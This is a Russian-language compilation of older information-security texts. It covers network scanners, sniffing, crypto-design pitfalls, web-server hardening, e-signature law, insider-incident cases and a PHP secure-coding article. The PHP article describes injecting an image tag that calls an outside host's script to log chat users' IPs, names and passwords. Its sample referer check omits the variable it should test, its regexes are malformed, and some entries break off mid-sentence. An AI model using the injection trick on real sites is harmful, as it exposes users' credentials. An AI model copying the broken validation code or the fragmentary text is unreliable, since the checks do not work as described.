Вследствие того, что обновление DNS осуществляется обычно по UDP, а запрос UDP легко подделывается, у сервера нет никаких способов установить, что запрос DNS UPDATE разрешен для данного узла. Если, с другой стороны, клиент UPDATE имеет общий секретный ключ с сервером DNS и использует его для генерации подписи под запросом, то сервер UPDATE может воспользоваться тем же самым ключом для проверки подписи и проверки наличия у запрашивающего надлежащих полномочий.

Подсистема Firewall Scanner

Межсетевой экран - необходимое средство для защиты информационных ресурсов корпоративной сети. Но обеспечить необходимый уровень сетевой безопасности можно только при правильной настройке межсетевого экрана. Установка межсетевого экрана без проведения необходимого обследования и имеющиеся уязвимости в сетевых сервисах и протоколах - приглашение для любого осведомленного злоумышленника.

Подсистема Firewall Scanner&153; поможет максимизировать уровень защищенности Вашего межсетевого экрана путем его тестирования на наличие известных уязвимостей и неправильной конфигурации. Простота использования подсистемы Firewall Scanner&153; гарантирует достоверный анализ конфигурации межсетевых экранов, защищающих Вашу корпоративную сеть.

Подсистема Firewall Scanner&153; используется при испытаниях межсетевых экранов, проводимых практически всеми независимыми лабораториями и компьютерными изданиями. В т.ч. при помощи подсистемы Firewall Scanner&153; в 27 ЦНИИ МО РФ тестировался межсетевой экран "Застава-Джет".

Подсистема Intranet Scanner

Подсистема Intranet Scanner&153; - средство анализа сетевой безопасности, разработанное для автоматического обнаружения уязвимостей, использующее обширное число тестов на проникновение. Эта простая в использовании система, позволяет достоверно оценить эффективность и надежность конфигурации рабочих станций Вашей корпоративной сети.

К сетевым системам, тестируемым Intranet Scanner, относятся:

UNIX(r)-хосты; Операционные системы Microsoft Windows NT&153;, Windows(r) 95 и другие, поддерживающие стек протоколов TCP/IP; Интеллектуальные принтеры, имеющие IP-адрес; X-терминалы; И т.п.

Администраторы безопасности, как правило, защищают только те компьютеры, на которых обрабатывается критичная информация. Однако общий уровень безопасности сети равен уровню безопасности самого слабого ее звена. Поэтому недооценка в защите нечасто используемых служб типа сетевой печати или сетевого факса могут быть использованы злоумышленниками для проникновения в Вашу корпоративную сеть или компрометации ее информационных ресурсов. Подсистема Intranet Scanner&153; поможет быстро обнаружить такие слабые места и порекомендовать меры по их коррекции или устранению.

Подсистема Web Security Scanner

Незащищенный Web-сервер - удобная цель для злоумышленника. Подсистема Web Security Scanner&153; поможет Вам выявить все известные уязвимости и неправильную конфигурацию Web-сервера и предложит рекомендации по повышению уровня его защищенности.

Подсистема Web Security Scanner&153; проводит анализ операционной системы, под управлением которой работает Web-сервер, самого приложения, реализующего функции Web-сервера, и CGI-скриптов. В процессе тестирования оценивается безопасность файловой системы, поиски сценариев CGI с известными уязвимостями и анализ пользовательских CGI-скриптов. Уязвимости Web-сервера идентифицируются и описываются в отчете с рекомендациями по их устранению.

Подслушивание

Атака заключаются в перехвате сетевого потока и его анализе (от англ. "sniffing").

Для осуществления подслушивания крэкеру необходимо иметь доступ к машине, расположенной на пути сетевого потока, который необходимо анализировать; например, к маршрутизатору или PPP-серверу на базе UNIX. Если крэкеру удастся получить достаточные права на этой машине, то с помощью специального программного обеспечения сможет просматривать весь трафик, проходящий через заданные интерфейс.

Второй вариант -- крэкер получает доступ к машине, которая расположена в одном сегменте сети с системой, которой имеет доступ к сетевому потоку. Например, в сети "тонкий ethernet" сетевая карта может быть переведена в режим, в котором она будет получать все пакеты, циркулирующие по сети, а не только адресованной ей конкретно. В данном случае крэкеру не требуется доступ к UNIX -- достаточно иметь PC с DOS или Windows (частая ситуация в университетских сетях).

Поскольку TCP/IP-трафик, как правило, не шифруется (мы рассмотрим исключения ниже), крэкер, используя соответствующий инструментарий, может перехватывать TCP/IP-пакеты, например, telnet-сессий и извлекать из них имена пользователей и их пароли.

Следует заметить, что данный тип атаки невозможно отследить, не обладая доступом к системе крэкера, поскольку сетевой поток не изменяется. Единственная надежная защита от подслушивания -- шифрование TCP/IP-потока (например, ) или использование одноразовых паролей (например, ).

Другой вариант решения - использование интеллектуальных свитчей и UTP, в результате чего каждая машина получает только тот трафик, что адресован ей.

У каждой палки два конца. Естественно, подслушивание может быть и полезно. Так, данный метод используется большим количеством программ, помогающих администраторам в анализе работы сети (ее загруженности, работоспособности и т.д.). Один из ярких примеров -- общеизвестный tcpdump.

Подводные камни безопасности в криптографии.

Перевод –

Журнальные статьи любят описывать криптографические продукты в терминах алгоритмов и длины ключей. Алгоритмы благозвучны: их описание может быть немногословным и их легко сравнивать друг с другом. "128-битные ключи означают высокую степень защиты". "Тройной DES означает высокую степень защиты". "40-битные ключи означают низкий уровень защиты". "2048-битный RSA лучше 1024-битного RSA".

Но в действительности всё не так просто. Более длинные ключи не всегда означают лучшую защиту. Сравним криптографический алгоритм с замком на Вашей входной двери. Большинство дверных замков имеют четыре металлических штифта, каждый из которых может находиться в одном из десяти положений. Ключ устанавливает штифты в особой комбинации. Если ключ установит их все правильно, замок откроется. Таким образом, может быть только 10000 различных ключей и взломщик, готовый испробовать все 10000, обязательно попадёт к Вам в дом. Но улучшенный замок с десятью штифтами, дающий 10 миллиардов возможных ключей, возможно, не сделает Ваше жилище безопаснее. Взломщики не испытывают каждый возможный ключ (атака "в лоб"); большинство даже не настолько хитры, чтобы взломать замок (криптографическая атака на алгоритм). Они разбивают окна, выбивают двери, переодеваются полицейскими или отнимают ключи под дулом пистолета. Одна шайка похитителей предметов искусства обходила домашние системы безопасности, пропиливая стены дома цепной пилой. Лучшие замки не спасут от таких атак.

Сильная криптография значит очень много, когда всё сделано верно, но панацеей она не является. Сосредоточение на криптографических алгоритмах, сопряжённое с игнорированием остальных аспектов безопасности похоже на защиту дома не постройкой забора вокруг него, а установкой огромного столба в надежде, что противник налетит прямо на него. Сообразительный нападающий просто обойдёт алгоритмы.

Counterpane (имеется ввиду Counterpane Internet Security, Inc.) потратила много лет на разработку, анализ и взлом криптографических систем. Пока мы занимаемся исследованием опубликованных алгоритмов и протоколов, большая часть нашей работы состоит в проверке реальных продуктов. Мы разрабатывали и анализировали системы, которые защищают секреты, обеспечивают конфиденциальность и правомочность, способствуют коммерции. Мы работали с программным обеспечением, автономным аппаратным обеспечением и всем, что стоит между ними. Мы взламывали некоторые алгоритмы, но почти всегда находились способы атаки, позволяющие полностью обойти сами алгоритмы. Мы не пытаемся пробовать каждый возможный ключ или даже искать недостатки в алгоритмах. Мы используем ошибки в проектировании, реализации и установке. Иногда мы изобретаем новый способ взлома системы, но, по большей части, мы используем те же старые ошибки, которые разработчики повторяют снова и снова.

Построение надёжных криптографических систем.

Разработчики систем безопасности занимают то, что прусский генерал Карл фон Клаушвиц (Carl von Clausewitz) назвал "позицией в осаде". Хорошая система безопасности должна защищать от любых возможных атак, пусть даже неизвестных на данный момент. Злоумышленники, с другой стороны, должны найти лишь одну ошибку для того, чтобы система была взломана. И они могут мошенничать, сговариваться, дожидаться, пока развитие технологии предоставит им новые инструменты. Они могут атаковать систему способом, о котором разработчик и не подозревал.

Построение надёжной криптографической системы - из разряда того, что сделать плохо легко, а хорошо – очень трудно. К сожалению, большинство людей не видят разницы. В других областях теории вычислительных систем функциональность служит для того, чтобы отличать хорошее от плохого: хороший алгоритм сжатия работает лучше плохого, плохой архиватор выглядит хуже при сравнительном анализе его возможностей. В криптографии – иначе. Только тот факт, что шифрующая программа работает, не означает, что она надёжна. Так случается с большинством продуктов: кто-то читает "Прикладную криптографию", выбирает алгоритм и протокол, удостоверяется в работоспособности и считает, что дело сделано. Но всё не так просто – функциональность не равноценна качеству и непродолжительное тестирование всегда выявляет дефекты системы безопасности. Слишком много продуктов идут на поводу у моды – они используют надёжную криптографию, сами надёжными не являясь.

Оригинал статьи (In English) .

Посылка управляющих последовательностей SNMP

Система RealSecure? версии 2.0 имеет возможность генерации управляющих последовательностей по протоколу SNMPv1 или передачу определенных данных в качестве возможного ответного действия на обнаруженную атаку или какое-либо контролируемое системой несанкционированное действие. Посылаемая последовательность содержит данные о времени и типе обнаруженной атаки или несанкционированного действия.

Данная возможность может использоваться для дополнительной обработки обнаруженной атаки средствами управления сетью типа HP OpenView, IBM NetView, Tivoli TME10 или любых других, позволяющих обрабатывать входящие управляющие последовательности по протоколу SNMP.

Потенциальная опасность обхода межсетевого экрана

Межсетевые экраны не могут защитить ресурсы корпоративной сети в случае неконтролируемого использования в ней модемов. Доступ в сеть через модем по протоколам SLIP или PPP в обход межсетевого экрана делает сеть практически незащищенной. Достаточно распространена ситуация, когда сотрудники какой-либо организации, находясь дома, при помощи программ удаленного доступа типа pcAnywhere или по протоколу Telnet обращаются к данным или программам на своем рабочем компьютере или через него получают доступ в Internet. Говорить о безопасности в такой ситуации просто не приходится, даже в случае эффективной настройки межсетевого экрана.

Для решения этой задачи необходимо строго контролировать все имеющиеся в корпоративной сети модемы и программное обеспечение удаленного доступа. Для этих целей возможно применение как организационных, так и технических мер. Например, использование систем разграничения доступа, в т.ч. и к COM-портам (например, Secret Net) или систем анализа защищенности (например, Internet Scanner и System Scanner). Правильно разработанная политика безопасности обеспечит дополнительный уровень защиты корпоративной сети, установит ответственность за нарушение правил работы в Internet и т.п. Кроме того, должным образом сформированная политика безопасности позволит снизить вероятность несанкционированного использования модемов и иных устройств и программ для осуществления удаленного доступа.

Потенциально опасные возможности

Новые возможности, которые появились недавно, и которые облегчают жизнь пользователям Internet, разрабатывались практически без учета требований безопасности. Например, WWW, Java, ActiveX и другие сервисы, ориентированные на работу с данными. Они являются потенциально опасными, так как могут содержать в себе враждебные инструкции, нарушающие установленную политику безопасности. И если операции по протоколу HTTP могут достаточно эффективно контролироваться межсетевым экраном, то защиты от "мобильного" кода Java и ActiveX практически нет. Доступ такого кода в защищаемую сеть либо полностью разрешается, либо полностью запрещается. И, несмотря на заявления разработчиков межсетевых экранов о контроле апплетов Java, сценариев JavaScript и т.п., на самом деле враждебный код может попасть в защищаемую зону даже в случае полного их блокирования в настройках межсетевого экрана.

Защита от таких полезных, но потенциально опасных возможностей должна решаться в каждом конкретном случае по-своему. Можно проанализировать необходимость использования новой возможности и совсем отказаться от нее; а можно использовать специализированные защитные средства, например, систему SurfinShield компании Finjan или SafeGate компании Security-7 Software, обеспечивающие безопасность сети от враждебного "мобильного" кода.

Пpавила обеспечения безопасности WWW-сеpвеpа:

Разместите ваш веб-сеpвеp в демилитаpизованной зоне (DMZ). Сконфигуpиpуйте свой межсетевой экpан (файpволл) таким обpазом, чтобы он блокиpовал входящие соединения с вашим веб-сеpвеpом со всеми поpтами, кpоме http (поpт 80) или https (поpт 443).

Удалите все ненужные сеpвисы с вашего веб-сеpвеpа, оставив FTP (но только если он нужен на самом деле) и сpедство безопасного подключения в pежиме удаленного теpминала, такое как SSH. Любой ненужный, но оставленный сеpвис может стать помощником хакеpа пpи оpганизации им атаки.

Отключите все сpедства удаленного администpиpования, если они не используют шифpования всех данных сеансов или одноpазовых паpолей.

Огpаничьте число людей, имеющих полномочия администpатоpа или супеpпользователя (root).

Пpотоколиpуйте все действия пользователей и хpаните системные жуpналы либо в зашифpованной фоpме на веб-сеpвеpе либо на дpугой машине в вашем интpанете.

Пpоизводите pегуляpные пpовеpки системных жуpналов на пpедмет выявления подозpительной активности. Установите несколько пpогpамм-ловушек для обнаpужения фактов атак сеpвеpа (напpимеp, ловушку для выявления PHF-атаки). Напишите пpогpаммы, котоpые запускаются каждый час или около того, котоpые пpовеpяют целостность файла паpолей и дpугих кpитических файлов. Если такая пpогpамма обнаpужит изменения в контpолиpуемых файлах, она должна посылать письмо системному администpатоpу.

Удалите все ненужные файлы, такие как phf, из диpектоpий, откуда могут запускаться скpипты (напpимеp, из /cgi-bin).

Удалите все стандаpтные диpектоpии с документами, котоpые поставляются с веб-сеpвеpами, такими как IIS и ExAir.

Устанавливайте все необходимые испpавления пpогpамм на веб-сеpвеpе, касающиеся безопасности, как только о них становится известно.

Если вы должны использовать гpафический интеpфейс на консоли администpатоpа веб-сеpвеpа, удалите команды, котоpые автоматически запускают его с помощью инфоpмации в .RC-поддиpектоpиях и вместо этого создайте команду для его pучного запуска. Вы можете затем пpи необходимости использовать гpафический интеpфейс, но закpывать его тотчас же после того, как вы пpоизведете необходимые действия. Не оставляйте гpафический интеpфейс pаботающим пpодолжительный пеpиод вpемени.

Если машина должна администpиpоваться удаленно, тpебуйте, чтобы использовалась пpогpамма, устанавливающая защищенное соединение с веб-сеpвеpом (напpимеp, SSH). Не позволяйте устанавливать с веб-сеpвеpом telnet-соединения или неанонимные ftp-соединения (то есть те, котоpые тpебуют ввода имени и паpоля) с недовеpенных машин. Неплохо будет также пpедоставить возможность установления таких соединений лишь небольшому числу защищенных машин, котоpые находятся в вашем интpанете.

Запускайте веб-сеpвеp в chroot-pежиме или pежиме изолиpованной диpектоpии (в этом pежиме эта диpектоpия кажется коpневой диpектоpией файловой системы и доступ к диpектоpиям файловой системы вне ее невозможен), чтобы нельзя было получить доступ к системным файлам.

Используйте анонимный FTP-сеpвеp (если он конечно вам нужен) в pежиме изолиpованной диpектоpии для диpектоpии, отличной от диpектоpии, являющейся коpнем документов веб-сеpвеpа.

Пpоизводите все обновления документов на публичном сеpвеpе из вашего интpанета. Хpаните оpигиналы ваших веб-стpаниц на веб-сеpвеpе в вашем интpанете и сначала обновляйте их на этом внутpеннем сеpвеpе; потом копиpуйте обновленные веб-стpаницы на публичный сеpвеp с помощью SSL-соединения. Если вы будете делать это каждый час, вы избежите того, что испоpченное содеpжимое сеpвеpа будет доступно в Интеpнет долгое вpемя.

Пеpиодически сканиpуйте ваш веб-сеpвеp такими сpедствами, как ISS или nmap, для пpовеpки отсутствия на нем известных уязвимых мест.

Оpганизуйте наблюдение за соединениями с сеpвеpом с помощью пpогpаммы обнаpужения атак (intrusion detection). Сконфигуpиpуйте эту пpогpамму так, чтобы она подавала сигналы тpевоги пpи обнаpужении попыток пpименить известные атаки или подозpительных действиях с веб-сеpвеpом, а также пpотоколиpовала такие соединения для детального анализа. Эта инфоpмация сможет впоследствии вам помочь устpанить уязвимые места и усилить вашу систему защиты.

ПРАКТИЧЕСКАЯ КРИПТОГРАФИЯ: АЛГОРИТМЫ И ИХ ПРОГРАММИРОВАНИЕ

А. В. Агpановcкий, Р. А. Хади

Криптография для программиста - студента и специалиста!

Cайт информационной поддержки данной книги: !

Москва

"СОЛОН-Р"

2002

Правовые аспекты

Данный вопрос достаточно сложен для того, чтобы подробно рассмотреть его со всех сторон. Постараюсь вкратце коснуться основных моментов. Одно из первых упоминаний о электронной цифровой подписи в отечественных законах приведено в Гражданском Кодексе (ст.160, п.2), согласно которому при совершении сделок допускается применение ЭЦП лишь в случаях и в порядке, предусмотренных законом, иными правовыми актами или соглашениями сторон.

В 1995 году был принят Федеральный Закон "Об информации, информатизации и защите информации". В пункте 3 статьи 5 говорится, что юридическая сила документа может подтверждаться электронной цифровой подписью. При этом "юридическая сила электронной цифровой подписи признается при наличии в автоматизированной информационной системе программно-технических средств, обеспечивающих идентификацию подписи установленного режима их использования". Однако "право удостоверять идентичность электронной цифровой подписи осуществляется на основании лицензии" (п.4).

Можно заметить, что и Гражданский Кодекс и Закон "Об информации, информатизации и защите информации" лишь подтверждают возможность применения ЭЦП, но никаким образом не регламентируют случаи и порядок ее использования. Эти задачи возлагаются на дополнительные правовые акты. Однако, никаких подзаконных актов, кроме наделавшего много шума Указа Президента № 334 от 3 апреля 1995 года, до сих пор не разработано. В Государственной Думе давно ждут рассмотрения Законы "Об электронном документе" и "Об электронной цифровой подписи". Но рассмотреть их планируется не ранее конца текущего года. А если учесть предстоящие выборы, то можно с уверенностью сказать, что о данных законопроектах заговорят не ранее 2000 года. Поэтому необходимо заметить, что для обеспечения юридической значимости цифровой подписи необходимо, чтобы в договоре об обмене электронными документами между сторонами была обязательно расписана процедура "порядка согласования разногласий". Без этой процедуры суд вправе не принимать в качестве доказательства документы, подписанные электронной цифровой подписью (Письмо Высшего Арбитражного Суда РФ от 19 августа 1994 г. № С1-7/ОП-587).

В Указе Президента от 3 апреля, в п.2 говорится о том, что использовать в информационно-телекоммуникационных системах средства ЭЦП, не имеющих сертификата Федерального агентства правительственной связи и информации (ФАПСИ), запрещено. Однако самое большое противоречие вызывает пункт 4, в котором запрещается деятельность нелицензированных ФАПСИ юридических и физических лиц, связанных с разработкой, реализацией, производством и эксплуатацией шифровальных средств (в т.ч. и систем цифровой подписи). Т.е. согласно данному пункту запрещено использовать системы цифровой подписи даже в домашних условиях. Однако статья 6 Закона "Об информации, информатизации и защите информации" говорит о том, что собственник информационного ресурса имеет право сам устанавливать правила защиты своей информации.

Известны и другие противоречия в законодательстве, связанном с цифровой подписью. Разрешить некоторые из них трудно без участия квалифицированных юристов. Хочется надеяться, что в ближайшие годы будут устранены имеющиеся правовые противоречия и разработаны новые законодательные акты, в полной мере удовлетворяющие требованиям пользователей и веяниям современных информационных технологий.

Хочется отметить работы, ведущиеся в этой области в Ассоциации Документальной Электросвязи. Во-первых, в Комитете по защите информации ведутся работы по реализации защищенной электронной почты X.400, невозможной без ЭЦП. Работы в области правового обеспечения ЭЦП ведутся также в Комитетах по электронному ведению бизнеса и Комитете по стандартизации.

Предсказание TCP sequence number

Данная атака была описана еще Робертом Моррисом (Robert T. Morris) в Англоязычный термин -- IP spoofing. В данном случае цель крэкера - притвориться другой системой, которой, например, "доверяет" система-жертва (в случае использования протокола rlogin/rsh для беспарольного входа). Метод также используется для других целей -- например, для использовании SMTP жертвы для посылки поддельных писем.

Предупреждение атак или обнаружение атак.

Большинство криптографических систем зависят от предупреждения как от единственного способа защиты: криптография спасает людей от мошенничества, лжи, злоупотреблений и т.д. Защита никогда не должна быть ограниченной. Сильная система также пытается обнаруживать факты злоупотреблений и ограничивать эффект любых атак. Один из наших фундаментальных принципов проектирования состоит в предположении, что рано или поздно любая система будет успешно атакована, возможно, совершенно неожиданным способом и с совершенно неожиданными результатами. Важно иметь возможность обнаружить такую атаку и затем ограничить её, чтобы быть уверенным, что нанесённый ущерб будет минимальным.

Важнее то, что после обнаружения атаки, система нуждается в восстановлении: генерации новой пары ключей, обновлении протокола с запретом использования старого, удаления из системы дискредитированного узла и т.д. К сожалению, многие системы не собирают достаточно данных для предоставления контрольного следа, или не в состоянии защитить эти данные от изменения. Counterpane провела значительную работу по защите журналов контрольной проверки в системах электронной коммерции, по большей части, в ответ на проекты систем, которые могут быть полностью разрушены в результате успешной атаки. Такие системы должны не только обнаруживать атаки, но и давать убедительные улики для суда и присяжных.

Предыстория атаки

Сотрудник сервис-центра в другой фирме, работающей в области шоу-бизнеса, постоянно предпринимал попытки получить должность в этой компании. Он несколько раз пытался устроиться на работу в данной компании и для этого даже встречался с руководителями компании, несмотря на то, что это мешало их работе, чтобы произвести на них впечатление и показать, как он хочет работать в их компании.

После нескольких попыток он был назначен на должность сотрудника сервис-центра. Согласно его сослуживцам, он был великолепным исполнителем и очень компетентным специалистом. Расследование установило, что он в ходе своей работы старался получить доступ ко всем рабочим станциям и серверам, использующимся в компании, включая информационные системы отдела кадров, бухгалтерии и другие критические системы. Специфика его работы привела к тому, что пользователи сами предоставили ему информацию о всех именах и паролях, необходимую для доступа ко всем системам, к которым они сами имели доступ, чтобы помочь ему оказать пользователям помощь в работах, выполняемых на их компьютерах. Вскоре этот сотрудник имел доступ практически ко всем аккаунтам пользователей и ко всем системам в организации.

Одним из средств организации взаимодействия между сотрудниками в компании был специальный почтовый адрес на почтовом сервере, который позволял тому, кто знал его, сразу послать сообщение большому числу пользователей во всей организации. Это было сделано путем разрешения пользователям доступа к адресному справочнику, встроенному в почтовую систему, и предоставления им возможности обновлять его без каких-либо ограничений, а также использованием специального идентификатора пользователя в этом адресном справочнике как широковещательного адреса. Если пользователь мог загрузить к себе на машину адресный справочник с почтового сервера, то он мог послать письмо любому пользователю, адрес которого был указан в этом справочнике, а также широковещательное письмо всем пользователям сразу. При этом ему не нужно было обладать какими-то особенными техническими знаниями.

Начальник отдела автоматизации (НОА) был нанят на работу для замены его неквалифицированного предшественника и начал устранять проблемы, имевшиеся в работе (по сути "вычищать дом"). В ходе этого стало необходимым разработать и внедрить положения о системном и сетевом администрировании, чтобы создать нормальную среду работы для пользователей.

Один из прежних ведущих инженеров отдела автоматизации всячески не хотел проводить в жизнь эти изменения и поначалу пассивно сопротивлялся им. Со временем пассивное сопротивление переросло в невыполнение приказов начальника, за что этому инженеру было сделано замечание, а позднее он был оштрафован за то, что не выполнил конкретные указания начальника отдела автоматизации.

Дополнительной проблемой было то, что этот инженер хорошо разбирался во многих частях функционирования корпоративной информационной системы. Вначале он работал в сервис-центре, затем почтовым и сетевым администратором. Он имел глобальный доступ со всеми привилегиями почти ко всем компьютерным системам в учреждении, а также почти ко всей критической информации и файлам в информационной системе учреждения.

Еще одним важным обстоятельством этого случая было то, что этот человек имел большие проблемы во взаимоотношениях с родственниками и друзьями.

Работа группы информационных служб в исследовательском учреждении была почти полностью парализована из-за того, что руководство организации назначило ее начальником неправильного человека. Наконец, после смены ряда руководителей организации на должность начальника этой группы был назначен опытный специалист, в задачи которого входило восстановить ее работоспособность.

В процессе перестановки кадров на протяжении нескольких месяцев один из сотрудников был назначен на должность системного администратора ряда критических NT серверов и двух основных почтовых серверов на базе CC:Mail, которые обслуживали верхнее звено руководства, ряд других важных лиц из технического персонала в организации и начальников ряда других отделов организации. Этот человек формально не обучался администрированию этих систем, но после назначения на эту должность серьезно занялся самообразованием и прочитал много литературы об используемых на серверах программах. Хотя он очень старался, он все же допустил ряд неизбежных ошибок в работе, которые вызвали сбои в работе сети и некоторый беспорядок, когда ряд писем были получены людьми, которым они не предназначались (в одном случае список новых сотрудников, которым был ограничен доступ к ресурсам, был случайно получен несколькими лицами из этого списка).

Когда новый НОА узнал об этих случаях, он решил, что данный человек недостаточно компетентен в администрировании, и передал часть его обязанностей более квалифицированным новым работникам. Он также решил, что провинившийся сотрудник должен пройти обучение на курсах по администрированию, после чего он вскоре снова сможет вернуться к выполнению всех своих обязанностей.

Но прошло шесть месяцев, но провинившегося сотрудника так и не отправили на курсы, а в его личной жизни возник ряд проблем. Это привело к тому, что он озлобился на НОА, и несколько раз между ними возникали конфликты. Один из конфликтов, как раз предшествующий описанным ниже событиям, возник из-за того, что НОА не был согласен с тем, как этот инженер решил одну поставленную перед ним задачу. Из-за того, что НОА посчитал такие действия сотрудника неповиновением ему, он лишил этого инженера зарплаты на неделю (то есть работник не приходит на работу и ему не платят деньги). Это крайне разозлило инженера и враждебно настроило против НОА.

Однажды сетевой администратор большой страховой компании был вызван на беседу со своим начальником, на которой ему был задан ряд вопросов, включая:

Где пропавшие сетевые концентраторы и другое сетевое оборудование? Где дистрибутивы ряда программ? Где два пропавших компьютера?

Этот сетевой администратор отрицал, что у него есть что-либо из пропавшего, но ряд других сотрудников перед этим разговором сказали начальнику, что имеют подозрения в отношении именно этого администратора. Кража всего перечисленного выше была нужна ему для организации своего собственного бизнеса в области интернет-провайдерства.

В ходе беседы, когда ему были предъявлены обвинения, сетевой администратор повел себя так, что начальник решил тут же уволить его. Ему было позволено только забрать вещи из своего стола и он под присмотром сопровождающего был выведен из компании.

К сожалению, компания ничего не сделала для того, чтобы изменить пароли, которые он знал и не внесла нужные изменения в средства защиты для удаленного доступа. Это означало, что этот сетевой администратор по-прежнему имел полный доступ ко всем ресурсам сети, даже не находясь физически в здании.

Через неделю, пользователи начали жаловаться, что они не могут получить доступ к системам и службам в сети компании и системам во внешних сетях, хотя могли делать на прошлой неделе. Эти происшествия казались индивидуальными для каждого пользователя ПЭВМ, но наблюдались у всех пользователей. Дальнейшее расследование показало, что проблема возникает после перезагрузки ПЭВМ. До перезагрузки ПЭВМ может получить доступ куда-либо, куда это нужно ее пользователю. Но после перезагрузки ПЭВМ не могла установить соединения со многими машинами в сети. Важным фактором было то, что все пострадавшие системы были полностью работоспособны, и не имелось никаких проблем в работе сети, кроме … увольнения сетевого администратора.

Проблема по сути была похожа на то, как будто бы собаку посадили на привязь в саду, хотя раньше этой собаке разрешалось свободно гулять по саду. Но в сети за последнюю неделю не делалось никаких изменений в конфигурации, и не вносились никакие изменения в программное обеспечение.

Результатом этой проблемы стало то, что многие пользователи не могли получить доступа к веб-серверам интранета, многие не могли получить доступ к ресурсам Интернета, а ряд систем во внутренней сети и во внешних сетях оказались недоступными всем пользователям.

По словам одного пользователя "сеть усохла". Но никакого оборудования не было удалено из сети, а наоборот планировалось добавить новые компоненты в сеть для ее расширения.

Приемы безопасного программирования веб-приложений на PHP.

Илья Басалаев a.k.a. Scarab ().

Данная статья не претендует на роль всеобъемлющего руководства на тему "как сделать так, чтоб меня никто не поломал". Так не бывает. Единственная цель этой статьи - показать некоторые используемые мной приемы для защиты веб-приложений типа WWW-чатов, гостевых книг, веб-форумов и других приложений подобного рода. Итак, давайте рассмотрим некоторые приемы программирования на примере некоей гостевой книги, написанной на PHP.

Первой заповедью веб-программиста, желающего написать более-менее защищенное веб-приложение, должно стать "Никогда не верь данным, присылаемым тебе пользователем". Пользователи - это по определению такие злобные хакеры, которые только и ищут момента, как бы напихать в формы ввода всякую дрянь типа PHP, JavaScript, SSI, вызовов своих жутко хакерских скриптов и тому подобных ужасных вещей. Поэтому первое, что необходимо сделать - это жесточайшим образом отфильтровать все данные, присланные пользователем.

Допустим, у нас в гостевой книге существует 3 формы ввода: имя пользователя, его e-mail и само по себе тело сообщения. Прежде всего, ограничим количество данных, передаваемых из форм ввода чем-нибудь вроде:

<input type=text name=username maxlength=20>

На роль настоящей защиты, конечно, это претендовать не может - единственное назначение этого элемента - ограничить пользователя от случайного ввода имени длиннее 20-ти символов. А для того, чтобы у пользователя не возникло искушения скачать документ с формами ввода и подправить параметр maxlength, установим где-нибудь в самом начале скрипта, обрабатывающего данные, проверку переменной окружения web-сервера HTTP-REFERER:

<? $referer=getenv("HTTP_REFERER"); if (!ereg("^http://www.myserver.com")) { echo "hacker? he-he...\n"; exit; } ?>

Теперь, если данные переданы не из форм документа, находящегося на сервере www.myserver.com, хацкеру будет выдано деморализующее сообщение. На самом деле, и это тоже не может служить 100%-ой гарантией того, что данные ДЕЙСТВИТЕЛЬНО переданы из нашего документа. В конце концов, переменная HTTP_REFERER формируется браузером, и никто не может помешать хакеру подправить код браузера, или просто зайти телнетом на 80-ый порт и сформировать свой запрос. Так что подобная защита годится только от Ну Совсем Необразованных хакеров. Впрочем, по моим наблюдениям, около 80% процентов злоумышленников на этом этапе останавливаются и дальше не лезут - то ли IQ не позволяет, то ли просто лень. Лично я попросту вынес этот фрагмент кода в отдельный файл, и вызываю его отовсюду, откуда это возможно. Времени на обращение к переменной уходит немного - а береженого Бог бережет.

Следующим этапом станет пресловутая жесткая фильтрация переданных данных. Прежде всего, не будем доверять переменной maxlength в формах ввода и ручками порежем строку:

$username=substr($username,0,20);

Не дадим пользователю использовать пустое поле имени - просто так, чтобы не давать писать анонимные сообщения:

if (empty($username)) { echo "invalid username"; exit; }

Запретим пользователю использовать в своем имени любые символы, кроме букв русского и латинского алфавита, знака "_" (подчерк), пробела и цифр:

if (preg_match("/[^(\w)|(\x7F-\xFF)|(\s)]/",$username)) { echo "invalid username"; exit; }

Я предпочитаю везде, где нужно что-нибудь более сложное, чем проверить наличие паттерна в строке или поменять один паттерн на другой, использовать Перл-совместимые регулярные выражения (Perl-compatible Regular Expressions). То же самое можно делать и используя стандартные PHP-шные ereg() и eregi(). Я не буду приводить здесь эти примеры - это достаточно подробно описано в мануале.

Для поля ввода адреса e-mail добавим в список разрешенных символов знаки "@" и ".", иначе пользователь не сможет корректно ввести адрес. Зато уберем русские буквы и пробел:

if (preg_match("/[^(\w)|(\@)|(\.)]/",$usermail)) { echo "invalid mail"; exit; }

Поле ввода текста мы не будем подвергать таким жестким репрессиям - перебирать все знаки препинания, которые можно использовать, попросту лень, поэтому ограничимся использованием функций nl2br() и htmlspecialchars() - это не даст врагу понатыкать в текст сообщения html-тегов. Некоторые разработчики, наверное, скажут: "а мы все-таки очень хотим, чтобы пользователи _могли_ вставлять теги". Если сильно неймется - можно сделать некие тегозаменители, типа "текст, окруженный звездочками, будет высвечен bold'ом.". Но никогда не следует разрешать пользователям использование тегов, подразумевающих подключение внешних ресурсов - от тривиального <img> до супернавороченного <bgsound>.

Как-то раз меня попросили потестировать html-чат. Первым же замеченным мной багом было именно разрешение вставки картинок. Учитывая еще пару особенностей строения чата, через несколько минут у меня был файл, в котором аккуратно были перечислены IP-адреса, имена и пароли всех присутствовавших в этот момент на чате пользователей. Как? Да очень просто - чату был послан тег <img src=http://myserver.com/myscript.pl>, в результате чего браузеры всех пользователей, присутствовавших в тот момент на чате, вызвали скрипт myscript.pl с хоста myserver.com. (там не было людей, сидевших под lynx'ом :-) ). А скрипт, перед тем как выдать location на картинку, свалил мне в лог-файл половину переменных окружения - в частности QUERY_STRING, REMOTE_ADDR и других. Для каждого пользователя. С вышеупомянутым результатом.

Посему мое мнение - да, разрешить вставку html-тегов в чатах, форумах и гостевых книгах - это красиво, но игра не стоит свеч - вряд ли пользователи пойдут к Вам на книгу или в чат, зная, что их IP может стать известным первому встречному хакеру. Да и не только IP - возможности javascript'a я перечислять не буду :-)

Для примитивной гостевой книги перечисленных средств хватит, чтобы сделать ее более-менее сложной для взлома. Однако для удобства, книги обычно содержат некоторые возможности для модерирования - как минимум, возможность удаления сообщений. Разрешенную, естественно, узкому (или не очень) кругу лиц. Посмотрим, что можно сделать здесь.

Допустим, вся система модерирования книги также состоит из двух частей - страницы со списком сообщений, где можно отмечать подлежащие удалению сообщения, и непосредственно скрипта, удаляющего сообщения. Назовем их соответственно admin1.php и admin2.php.

